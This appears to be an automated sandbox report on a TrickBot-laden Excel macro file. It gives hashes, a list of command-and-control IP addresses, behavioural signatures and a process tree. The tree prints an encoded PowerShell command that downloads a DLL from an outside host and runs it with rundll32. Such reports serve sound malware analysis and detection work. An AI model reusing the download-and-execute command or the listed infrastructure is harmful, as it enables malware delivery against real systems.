Analysis

  • max time kernel
    130s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    21-10-2021 15:12

General

  • Target

    RNP-00152.xlsm

  • Size

    87KB

  • MD5

    7ac2366ab4515b9f37be3187deea9bc0

  • SHA1

    c4cee812f0fb97c510e149a28c1a55b6c5da2c9e

  • SHA256

    0b149fc1f48da1d2c02d778be120427483403cd7519fc7f69e741288b120cb9d

  • SHA512

    db221383ef594bb4b2be2fac9a33f465dac8cdaaf4aafa8b376e57ef5ab337c596379100972c9809d79a5ad8293b2a1294308a23b0ee22512aa474f8d0e7fe7e

Malware Config

Extracted

Family

trickbot

Version

100019

Botnet

rob136

C2

65.152.201.203:443

185.56.175.122:443

46.99.175.217:443

179.189.229.254:443

46.99.175.149:443

181.129.167.82:443

216.166.148.187:443

46.99.188.223:443

128.201.76.252:443

62.99.79.77:443

60.51.47.65:443

24.162.214.166:443

45.36.99.184:443

97.83.40.67:443

184.74.99.214:443

103.105.254.17:443

62.99.76.213:443

82.159.149.52:443

Attributes
  • autorun
    Name:pwgrabb
    Name:pwgrabc
ecc_pubkey.base64

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Trickbot

    Developed in 2016, TrickBot is one of the more recent banking Trojans.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RNP-00152.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3032
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4676
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1508
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1368
        • C:\Windows\SysWOW64\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1240
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe
            5⤵
              PID:1736
            • C:\Windows\system32\wermgr.exe
              C:\Windows\system32\wermgr.exe
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4556

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\clb.dll
      MD5

      d0a80e47fefaecb2f3e020fecf8288b7

      SHA1

      06267a23e36f50b2f4f14d668190465a98d5cf91

      SHA256

      9c0b5647a38a04a289b926c143cde952b1a5869a60ebfbe383ec5231aae750d2

      SHA512

      b2f2c1860da49fb59e8e91542ef0f2c7788a72a44f88f1dbe83bd63cbe17bc4c200f9b77fd78d83ac1dbc1ac45e2ac1e788ebd364689e6ff28cb5ddb2f13f5e7

    • \ProgramData\clb.dll
      MD5

      d0a80e47fefaecb2f3e020fecf8288b7

      SHA1

      06267a23e36f50b2f4f14d668190465a98d5cf91

      SHA256

      9c0b5647a38a04a289b926c143cde952b1a5869a60ebfbe383ec5231aae750d2

      SHA512

      b2f2c1860da49fb59e8e91542ef0f2c7788a72a44f88f1dbe83bd63cbe17bc4c200f9b77fd78d83ac1dbc1ac45e2ac1e788ebd364689e6ff28cb5ddb2f13f5e7

    • memory/1240-323-0x0000000010001000-0x0000000010003000-memory.dmp
      Filesize

      8KB

    • memory/1240-322-0x00000000033E0000-0x00000000033E1000-memory.dmp
      Filesize

      4KB

    • memory/1240-320-0x0000000004CA0000-0x0000000004F08000-memory.dmp
      Filesize

      2.4MB

    • memory/1240-321-0x0000000004FD0000-0x0000000005015000-memory.dmp
      Filesize

      276KB

    • memory/1240-318-0x0000000000000000-mapping.dmp
    • memory/1368-316-0x0000000000000000-mapping.dmp
    • memory/1508-301-0x0000014FFB483000-0x0000014FFB485000-memory.dmp
      Filesize

      8KB

    • memory/1508-311-0x0000014FFB486000-0x0000014FFB488000-memory.dmp
      Filesize

      8KB

    • memory/1508-288-0x0000000000000000-mapping.dmp
    • memory/1508-300-0x0000014FFB480000-0x0000014FFB482000-memory.dmp
      Filesize

      8KB

    • memory/3032-119-0x0000020274BE0000-0x0000020274BE2000-memory.dmp
      Filesize

      8KB

    • memory/3032-115-0x00007FFD783B0000-0x00007FFD783C0000-memory.dmp
      Filesize

      64KB

    • memory/3032-141-0x0000020274BE0000-0x0000020274BE2000-memory.dmp
      Filesize

      8KB

    • memory/3032-127-0x00007FFD783B0000-0x00007FFD783C0000-memory.dmp
      Filesize

      64KB

    • memory/3032-121-0x0000020274BE0000-0x0000020274BE2000-memory.dmp
      Filesize

      8KB

    • memory/3032-120-0x0000020274BE0000-0x0000020274BE2000-memory.dmp
      Filesize

      8KB

    • memory/3032-118-0x00007FFD783B0000-0x00007FFD783C0000-memory.dmp
      Filesize

      64KB

    • memory/3032-117-0x00007FFD783B0000-0x00007FFD783C0000-memory.dmp
      Filesize

      64KB

    • memory/3032-116-0x00007FFD783B0000-0x00007FFD783C0000-memory.dmp
      Filesize

      64KB

    • memory/4556-324-0x0000000000000000-mapping.dmp
    • memory/4556-325-0x000002742B920000-0x000002742B949000-memory.dmp
      Filesize

      164KB

    • memory/4556-326-0x000002742BA40000-0x000002742BA41000-memory.dmp
      Filesize

      4KB

    • memory/4676-287-0x0000000000000000-mapping.dmp